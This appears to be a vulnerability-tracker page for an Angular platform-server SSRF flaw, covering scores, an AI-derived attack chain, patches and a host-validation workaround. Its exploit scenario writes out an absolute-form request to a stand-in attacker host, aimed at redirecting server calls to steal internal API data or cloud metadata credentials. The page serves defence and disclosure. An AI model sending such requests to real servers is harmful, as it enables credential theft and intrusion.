Skip to main content

Angular platform-server CVE-2026-46417

| EUVDEUVD-2026-38294 HIGH
Server-Side Request Forgery (SSRF) (CWE-918)
2026-05-19 https://github.com/angular/angular GHSA-rfh7-fxqc-q52v
8.8
CVSS 4.0 · Vendor: https://github.com/angular/angular
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Identify Angular SSR endpoint
  2. Delivery
    Send request with absolute-form URL targeting attacker host
  3. Exploit
    ServerPlatformLocation adopts attacker hostname
  4. Execution
    Relative HttpClient calls resolve to attacker or internal metadata host
  5. Impact
    Exfiltrate internal API responses or cloud credentials

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A01:2025 - Broken Access Control
ASVS 5.0
V4 - API and Web Service URL allowlisting, SSRF prevention
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Credential Access

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

The target must run @angular/platform-server in SSR mode (renderModule or renderApplication) and pass the incoming request's URL into the renderer's url option without first validating the hostname - this is the pattern used in Angular's own server.ts integration templates, so default scaffolded SSR apps are likely vulnerable. The application must additionally issue at least one relative HttpClient request (or read PlatformLocation.hostname) during rendering for the SSRF to have observable impact, and the SSR Node process must be able to reach the attacker-controlled or internal target host (e.g., a cloud metadata endpoint) over the network. Exploitation is limited by reverse proxies or front-end servers that rewrite absolute-form request targets to origin-form, by explicit host validation in the server entry point, and by upgrade to 19.2.22 / 20.3.21 / 21.2.13 / 22.0.0-next.12 with the allowedHosts option configured.

Impact

The CVSS 4.0 vector AV:N/AC:L/AT:N/PR:N/UI:N indicates trivial network-reachable exploitation against vulnerable SSR deployments, with high confidentiality impact on the vulnerable system (VC:H) and limited integrity/scope impact (VI:L, SC:L, SI:L), yielding a base score of 8.8. EPSS, however, is only 0.05% (16th percentile), and the CVE is not on CISA KEV, suggesting it is not being mass-exploited - consistent with the fact that exploitability depends on a server actually forwarding req.url unsanitized into renderModule/renderApplication, which is the default pattern in Angular's own server.ts templates and therefore likely common but not universal. No public exploit identified at time of analysis. The realistic priority is high for any team running Angular SSR exposed to untrusted HTTP clients, particularly in cloud environments where SSRF can pivot to IMDS (169.254.169.254) and steal instance credentials; it is materially lower for SSR servers fronted by a reverse proxy that rewrites or strips absolute-form request targets.

Exploit ScenarioDerived

An attacker sends an HTTP request to an Angular SSR endpoint using absolute-form request-target syntax such as 'GET http://attacker.example/some/route HTTP/1.1', which Node/Express exposes as req.url and which the application forwards unmodified into renderApplication({ url: req.url }). During rendering, any component that issues a relative HttpClient call (e.g., HttpClient.get('/api/profile')) is resolved against attacker.example, sending the server's request - potentially with internal cookies, tokens, or IMDS access - to the attacker. No public exploit identified at time of analysis, but the upstream patch and PR diff make the trigger pattern trivial to reproduce.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
Patch available 0.1% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv3 – Jun 22, 2026

Server-Side Request Forgery in @angular/platform-server allows remote unauthenticated attackers to hijack the SSR hostname by supplying an absolute-form URL to the rendering entry points, causing relative HttpClient calls and PlatformLocation references to be redirected to attacker-controlled domains. Affected versions span the 19.x, 20.x, 21.x, and 22.0.0-next branches, and exploitation can expose internal APIs or cloud metadata services. No public exploit identified at time of analysis, EPSS is very low at 0.05%, but the upstream fix and clear reproduction path raise the practical risk for exposed SSR deployments.

Earlier versions of this analysis (2)
v2 Jun 22, 2026 - 18:36 cvss changed CVSS 8.8

Server-Side Request Forgery in @angular/platform-server allows remote unauthenticated attackers to hijack the SSR engine's hostname by supplying an absolute-form URL, causing relative HttpClient requests and PlatformLocation.hostname references to be redirected to attacker-controlled domains. The flaw affects Angular SSR versions 19.x through 22.0.0-next prior to the fixed releases and risks exposure of internal APIs and cloud metadata services. No public exploit identified at time of analysis, EPSS is low (0.05%), and an upstream patch is available via the allowedHosts allowlist mechanism.

v1 May 19, 2026 - 20:47

Server-Side Request Forgery in @angular/platform-server allows remote attackers to hijack the server-side rendering (SSR) hostname by supplying an absolute-form URL, causing relative HttpClient requests and PlatformLocation.hostname references to resolve against an attacker-controlled domain. The flaw affects Angular SSR applications that pass an unvalidated request URL into renderModule or renderApplication, enabling pivoting to internal APIs or cloud metadata endpoints. No public exploit identified at time of analysis, and the issue is not listed in CISA KEV.

RemediationAI

Vendor-released patch: upgrade @angular/platform-server to 19.2.22, 20.3.21, 21.2.13, or 22.0.0-next.12 depending on your major version, per GHSA-rfh7-fxqc-q52v and PR https://github.com/angular/angular/pull/68570, and pass the new allowedHosts option to renderModule/renderApplication listing only your trusted SSR hostnames (wildcards like '*.example.com' or '*' are supported but '*' disables the protection). If you cannot patch immediately, normalize or validate req.url in your Express/Node entry point before handing it to the renderer - either reject requests whose Host header does not match an allowlist (with HTTP 403, accepting that legitimate clients using unexpected host headers will be blocked) or strip the absolute-form portion and pass only a relative path to renderModule/renderApplication, which preserves routing but loses access to the original host for any code that legitimately depends on PlatformLocation.hostname. Putting Angular SSR behind a reverse proxy (nginx, ALB) that rewrites the request line to origin-form is an additional defense, but does not substitute for upgrading since some proxies forward absolute-form URLs unchanged.

Affected VersionsENISA

angular 20.0.0-next.0, < 20.3.21
angular ≤ 18.2.14
angular 21.0.0-next.0, < 21.2.13
angular 22.0.0-next.0, < 22.0.0-next.12
angular 19.0.0-next.0, < 19.2.22

Affected Packages

npm @angular/platform-server fix: 19.2.22, 20.3.21, 21.2.13, 22.0.0-next.12
euvd angular no fix
euvd angular_19_0_0_next_0 fix: 19.2.22
euvd angular_20_0_0_next_0 fix: 20.3.21
euvd angular_21_0_0_next_0 fix: 21.2.13
euvd angular_22_0_0_next_0 fix: 22.0.0-next.12

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 6 packages in npm, euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

The vulnerability resides in @angular/platform-server, the Node.js-side runtime that performs Angular Server-Side Rendering via renderModule and renderApplication. Internally, ServerPlatformLocation derives the 'current' hostname from the request URL passed into the renderer; when that URL is absolute (scheme + host), the host portion is adopted as the SSR origin. Any later HttpClient request using a relative path is then resolved against that attacker-controlled host, and PlatformLocation.hostname reflects the same value. This is a textbook CWE-918 (SSRF) caused by trusting an externally controlled URL as a server-side request target. The patch (PR #68570) adds an allowedHosts option and an isHostAllowed check inside validateAllowedHosts, which parses the URL with URL.canParse, extracts the hostname, and rejects requests whose host is not in the configured allowlist (with '*' and '*.domain' wildcard support).

Know when the next one hits your stack

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (https://github.com/angular/angular) PRIMARY 8.8 HIGH
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:L/VA:N/SC:L/SI:L/SA:N
vuln.today AI 9.3 CRITICAL

Network-reachable SSR endpoint with no auth or user interaction; SSRF crosses a security boundary into internal/metadata services (S:C), yielding high confidentiality, limited integrity, no availability impact.

3.1 AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N
4.0 AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:L/VA:N/SC:L/SI:L/SA:N
Red Hat HIGH

Primary rating from Vendor (https://github.com/angular/angular).

CVSS VectorVendor: https://github.com/angular/angular

Attack Vector
Network
Attack Complexity
Low
Attack Requirements
None
Privileges Required
None
User Interaction
None
Vulnerable system: Confidentiality
High
Vulnerable system: Integrity
Low
Vulnerable system: Availability
None
Subsequent system: Confidentiality
Low
Subsequent system: Integrity
Low
Subsequent system: Availability
None

Lifecycle Timeline

3
Analysis Updated
Jun 22, 2026 - 18:37 vuln.today
v3 - CVSS changed
Analysis Updated
Jun 22, 2026 - 18:36 vuln.today
v2 - CVSS changed
CVSS changed
Jun 22, 2026 - 18:23 NVD
8.8 (HIGH)

DescriptionCVE.org

Impact

A Server-Side Request Forgery (SSRF) vulnerability exists in @angular/platform-server. The issue stems from how the server-side rendering (SSR) engine processes the request URL provided to the rendering entry points.

When an absolute-form URL (e.g., http://evil.com) is passed to the rendering engine, the internal ServerPlatformLocation can be manipulated into adopting the attacker-controlled domain as the "current" hostname.

Consequently, any relative HttpClient requests or PlatformLocation.hostname references are redirected to the attacker controlled server, potentially exposing internal APIs or metadata services.

Fix Information

The vulnerability is mitigated by introducing an Allowlist Mechanism directly into the core rendering APIs. The renderModule and renderApplication functions now include an allowedHosts configuration option. The rendering engine validates the hostname extracted from the request URL against this list before proceeding. If the hostname does not match an allowed entry, the engine prevents the hostname hijacking, ensuring that HttpClient requests remain restricted to trusted domains.

Patches

  • 22.0.0-next.12
  • 21.2.13
  • 20.3.21
  • 19.2.22

Workarounds

Developers unable to update immediately should implement strict URL validation in their server entry point (e.g., server.ts). Ensure that req.url is validated against a known list of trusted hostnames or normalized to a relative path before being passed torenderApplication or renderModule.

TypeScript
// Example manual normalization in Express
app.get('*', (req, res, next) => {
  const trustedHost = 'localhost:4000';
  // Ensure the request target matches expectations
  if (req.headers.host !== trustedHost) {
     return res.status(403).send('Forbidden');
  }
  next();
});

Executive ViewAI

Why It Matters

@angular/platform-server SSRF vulnerability (CVE-2026-46417) enables unauthenticated attackers to redirect application requests to external domains, potentially exposing internal APIs and cloud metadata services. Despite no public exploit identified at time of analysis, organizations running Angular Server-Side Rendering in production face direct risk of data exfiltration if exploited.

Business Impact: High
Compensating Controls

Apply vendor patch.

Threat Intelligence Overview

EPSS Score
0.1%
Top 84% exploitable
Threat Intel
1
1 source
Social Media
2
Sightings
Data Quality
6 sources
Confidence: High

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC No
EPSS 0.1%
Patch available Yes
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation· derived
None
System Exposure· derived
Open
Automatable· derived
Yes
Human Impact
High

Priority Score

44
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +44
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Server-Side Request Forgery exploits applications that fetch remote resources based on user-supplied URLs.

Vendor StatusVendor

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy